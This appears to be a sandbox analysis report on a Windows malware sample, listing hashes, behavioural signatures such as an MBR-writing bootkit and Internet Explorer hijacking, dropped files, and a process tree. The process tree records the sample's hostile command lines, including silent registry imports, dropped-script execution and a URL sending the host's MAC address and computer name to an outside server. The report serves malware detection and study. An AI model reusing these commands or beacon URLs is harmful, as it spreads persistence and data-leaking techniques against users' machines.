Overview

overview

10

Static

static

5

0d68d0b728...18.exe

windows7-x64

10

0d68d0b728...18.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    66s
  • max time network
    75s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-06-2024 08:39

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    0d68d0b728c15702de28772dadc20f09_JaffaCakes118.exe

  • Size

    895KB

  • MD5

    0d68d0b728c15702de28772dadc20f09

  • SHA1

    52e64a2204b7c694c51c77cf906b460da3464503

  • SHA256

    166d04f845fc5460233eb6f7b0510a69ff2d90bd6ae8062453097d4878c3b97b

  • SHA512

    012461fef1360d50343b4baf3c70391a9fa63b1f5af4f12cb6c865c20d0bdf4748316654dc21aa950ac39649522f5142a1016cb9aac17616ecab77f4c951dc22

  • SSDEEP

    12288:dZjMLf11MmPQeRXEHYYS3gA0FJO1t3r6QJ3LdXWcmfnGA2feMe3JZJ7kASbla:dafIiy4NwdLpQJZXWgcpJZJAVa

Score
10/10
bootkitevasionpersistenceupx

Malware Config

Signatures

  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
    evasion
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • UPX packed file 8 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Drops file in Program Files directory 5 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 33 IoCs
    adwarespyware
  • Modifies Internet Explorer start page 1 TTPs 1 IoCs
    stealer
  • Modifies registry class 64 IoCs
  • Runs .reg file with regedit 1 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 16 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0d68d0b728c15702de28772dadc20f09_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\0d68d0b728c15702de28772dadc20f09_JaffaCakes118.exe"
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2492
    • C:\baidu.exe
      C:\baidu.exe
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2124
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c regedit /s "C:\Program Files\Common Files\tk.reg"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1512
        • C:\Windows\SysWOW64\regedit.exe
          regedit /s "C:\Program Files\Common Files\tk.reg"
          4⤵
          • Modifies registry class
          • Runs .reg file with regedit
          PID:1108
      • C:\Windows\SysWOW64\Cmd.exe
        Cmd.exe /c CScript /nologo "c:\program files\winrar\pack.wsf" "c:\program files\winrar\1_goxbeibgs.hiylx" >> "c:\program files\winrar\goxbeibgs.hiylx"
        3⤵
        • Drops file in Program Files directory
        • Suspicious use of WriteProcessMemory
        PID:3700
        • C:\Windows\SysWOW64\cscript.exe
          CScript /nologo "c:\program files\winrar\pack.wsf" "c:\program files\winrar\1_goxbeibgs.hiylx"
          4⤵
            PID:3080
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\SysWow64\WScript.exe" "C:\program files\winrar\goxbeibgs.hiylx"
          3⤵
          • Modifies visiblity of hidden/system files in Explorer
          • Checks computer location settings
          • Modifies Internet Explorer settings
          • Modifies Internet Explorer start page
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:2320
          • C:\Program Files\Internet Explorer\iexplore.exe
            "C:\Program Files\Internet Explorer\iexplore.exe" http://www.54600.com/?byme
            4⤵
            • Modifies Internet Explorer settings
            PID:4052
        • C:\Program Files\Internet Explorer\iexplore.exe
          "C:\Program Files\Internet Explorer\iexplore.exe" http://www1.4728.net/setuptj.asp?a_ip=&a_mac=EA:BD:73:F6:9B:33&a_cpname=GSAGMHCQ&a_user=byme&a_locip=0.0.0.0
          3⤵
          • Modifies Internet Explorer settings
          PID:4168
        • \??\c:\windows\SysWOW64\wscript.exe
          c:\windows\system32\wscript.exe C:\\Killme.vbs
          3⤵
            PID:1704
        • C:\SeFastInstall2_3214.exe
          C:\SeFastInstall2_3214.exe
          2⤵
          • Executes dropped EXE
          • Writes to the Master Boot Record (MBR)
          • Suspicious use of SetWindowsHookEx
          PID:2596
        • C:\Program Files\Internet Explorer\iexplore.exe
          "C:\Program Files\Internet Explorer\iexplore.exe" http://www.1234.la/an.htm?qqchang
          2⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2924
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2924 CREDAT:17410 /prefetch:2
            3⤵
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:512
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2924 CREDAT:17416 /prefetch:2
            3⤵
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:4352
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2924 CREDAT:17424 /prefetch:2
            3⤵
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:2524

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Killme.vbs
        Filesize

        218B

        MD5

        0639fba03ab54443ada1891bd2e2c7b3

        SHA1

        ab688409e35f4b7aeba68eaf83fa10fbcb590cd2

        SHA256

        6620568a36d6a0d43cd64933c87dc362cb950bc0f0e71b7e8b3244ec243c2aad

        SHA512

        697b7b2301bc00b31ef8ebc0f9917a0d80a9caffb1a3f5c87726c8c0297b991e2c4711e11d8bbab59586958d8f577b035cd97e7406f804b959eeea28db360acc

        Download Submit

      • C:\Program Files\Common Files\tk.reg
        Filesize

        2KB

        MD5

        9cca9b5f822c2da86b84e5ef0f1e4681

        SHA1

        11eb475bb6c333013e554f2a5e050c2ca944fd8c

        SHA256

        6fb2b8c0a3be058c5bd72079c032081edfb624668649a256884ad158451ecb3d

        SHA512

        8d29d39392c2e6cf3202cb9f300aedb7e4af44c5d4753d265af1e74f3bd679c184a9e6109611cdb485ad6b24fe2ed50331b9beb18ae4ac6a28e89902e19caeec

        Download Submit

      • C:\SeFastInstall2_3214.exe
        Filesize

        260KB

        MD5

        0dd90d39ffe81cdb5f76ce43972279aa

        SHA1

        d267f9a3952111406d93ec923ea9e1042a5105f1

        SHA256

        ede8e12b03f88ce44ae189c905a2885f76129d9141e17878a3ab2fbc4464e4a9

        SHA512

        cb56bb73cc6e659a668a24bdeb4b5ce48857fc4e7eefd6c92713bc0606fea550ac23f6c6c1fda8eff7622924a4425fc1a40dc4fb36f9657d88f232a51034994f

        Download Submit

      • C:\Windows\My.ini
        Filesize

        103B

        MD5

        69706ba5e85f2c6f5cbfc2fbee53d58e

        SHA1

        bf9210a0cf87258944ea5939a0939a00cedfd233

        SHA256

        9760ff143b52a22a5d15acdf1f2408969ee29d5bbb84de71b66b02840c3e01bc

        SHA512

        39af6cccebfd7274ed4bec2c172b8db401520f21f952cbee3d37fbf950e88bb37393ee621ae2d347772c0b154fe359ad544ef29e0e67737166cd63919ee16806

        Download Submit

      • C:\Windows\My.ini
        Filesize

        308B

        MD5

        3deaf00f829425c11a3cc16a0e45f008

        SHA1

        51f76b6df06fea94936c2319942860bc8bbc4469

        SHA256

        b8aab624bf57be257480fe6b463be408eed15dad6fb180a6d528ca44fad46d46

        SHA512

        29513ac07581cc5d44ae75cf81abc98fa44c25f084b66678a58001398ef5757a6c8b7e42badece7b182dcf9a4a35d27d645be7bc4ffacaef65c452ca5dba7252

        Download Submit

      • C:\baidu.exe
        Filesize

        31KB

        MD5

        b507fe74c0156298e106e287c10b6fd1

        SHA1

        05fa8f5c6fecad42919fd5f046d3f339ceb49413

        SHA256

        a31fff380a15a2ffe0cb95174982d7f13b369396e1477dfe75f133d9b643b4ab

        SHA512

        c17cc3dccf71c05b042bba12370fd506ddcf82dcd41a23c147301c67041b2af555bf3613500b16d60ecc4cdcc57de37cca9cc425042f1a494b313588e32a883f

        Download Submit

      • \??\c:\about blank.htm
        Filesize

        77B

        MD5

        cb2c712ef5520c3bc139c39fbee6ca86

        SHA1

        8a0b9c5fd8ee7a721ff82071396d8aecc948dfcf

        SHA256

        5fb3e9d4a2293f083e6ab2873471457e1035fa30c8cd63dff502cfde4e60f92f

        SHA512

        fa660297ab5bff57f2a54065c6e42ddc149420a6450efb10cd9a91d4aea46d1b8745e88193482b43f2467cd6a9c22759cfb441b55e41424058ef99bbdc98c60c

        Download Submit

      • \??\c:\program files\winrar\1_goxbeibgs.hiylx
        Filesize

        48KB

        MD5

        0dfa044bcb491e8149748691f07c8407

        SHA1

        85f34337b1afa9c5b415e6ca258902218dcbb82b

        SHA256

        52949182187781076aedea304b7a704f430806872b2e0184a991cc5ebcb60181

        SHA512

        be12e21b56a46e2a5ef0e3cb094373d187578656674afa7c31fccd4f1f9624fd441d74d52f9b3a7e5b94738e77113b39efc7deabc75e3d31cc4463f9bbda70b2

        Download Submit

      • \??\c:\program files\winrar\goxbeibgs.hiylx
        Filesize

        37KB

        MD5

        03b43b0f9fe0677f5cbb48f1e2d333b8

        SHA1

        45d76fa12ec32350066233a7d8ae7dbabde5012c

        SHA256

        7fe86cfb4f3d9fcbdd25654facd2e33b6cc35e363a857b6a60e6984fdd01e21d

        SHA512

        dc7354a0e76119d5684186ba26e198932f14f4b70b6ce3588acaa478cd47a6e77322e6422bf283dcdaa903d4437bf2826ac94a79ac6a2b76304172b5d93024cb

        Download Submit

      • \??\c:\program files\winrar\pack.wsf
        Filesize

        8KB

        MD5

        a83fdf4f29a7e978d33eeb3674df531b

        SHA1

        60ea7b41816bc2044a6224e38352e56667d3d5ed

        SHA256

        f85f16fb946e6b4d7ef4f6523276a52b4a68d04bdf340312adc2ccdef4cee845

        SHA512

        7ad293f3032054c7e55e89a558dde1e4465c31c1c9fd612e3f56fc209b40826af5273fe140273cf467a96dcda805f13844fa6244cbe2e113bfcf131117acdbd0

        Download Submit

      • memory/2124-48-0x0000000000400000-0x0000000000429000-memory.dmp

        Filesize

        164KB

        Download

      • memory/2124-16-0x0000000000400000-0x0000000000429000-memory.dmp

        Filesize

        164KB

        Download

      • memory/2124-55-0x0000000000400000-0x0000000000429000-memory.dmp

        Filesize

        164KB

        Download

      • memory/2596-20-0x0000000000400000-0x00000000004FC000-memory.dmp

        Filesize

        1008KB

        Download

      • memory/2596-49-0x0000000000400000-0x00000000004FC000-memory.dmp

        Filesize

        1008KB

        Download

      • memory/2596-51-0x0000000000400000-0x00000000004FC000-memory.dmp

        Filesize

        1008KB

        Download